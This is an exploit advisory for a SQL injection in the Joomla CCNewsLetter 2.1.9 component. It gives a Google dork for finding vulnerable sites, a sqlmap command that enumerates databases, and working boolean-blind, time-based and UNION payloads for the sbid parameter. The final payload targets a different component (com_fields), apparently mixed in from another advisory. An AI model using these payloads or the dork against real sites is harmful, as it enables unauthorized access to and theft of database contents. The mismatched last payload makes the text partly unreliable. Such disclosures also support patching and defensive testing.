Joomla CCNewsLetter 2.1.9 SQL Injection

Joomla CCNewsLetter component version 2.1.9 suffers from a remote SQL injection vulnerability.

MD5 | 18d1b384e4380ed79656040b25f4dc5d

# Exploit Title: Joomla Component ccnewsletter 2.1.9 - SQL Injection
# Date: 07-26-2017
# Exploit Author: Shahab Shamsi
# Vendor Homepage:
# Version: = 2.1.9 [Final Version]
# Tested on: Win,Linux
# Google Dork: inurl:"index.php?option=com_ccnewsletter" inurl:sbid
# Video Refrence:


sqlmap -u "http://Target/index.php?option=com_ccnewsletter&view=detail&id=73&sbid=[SQL]&tmpl=newsletter" -p sbid --dbs

Testing Method:
- boolean-based blind
- time-based blind
- UNION query

Parameter: sbid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: option=com_ccnewsletter&view=detail&id=73&sbid=185 AND 3881=3881&tmpl=newsletter

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: option=com_ccnewsletter&view=detail&id=73&sbid=185 AND SLEEP(5)&tmpl=newsletter
Type: AND/OR time-based blind

Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: option=com_ccnewsletter&view=detail&id=73&sbid=-3094 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626a71,0x4357474c4d556472646b43704f44476e64694f6a6d6d6873795552656d5446767846466e63677974,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- CCQB&tmpl=newsletter
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)

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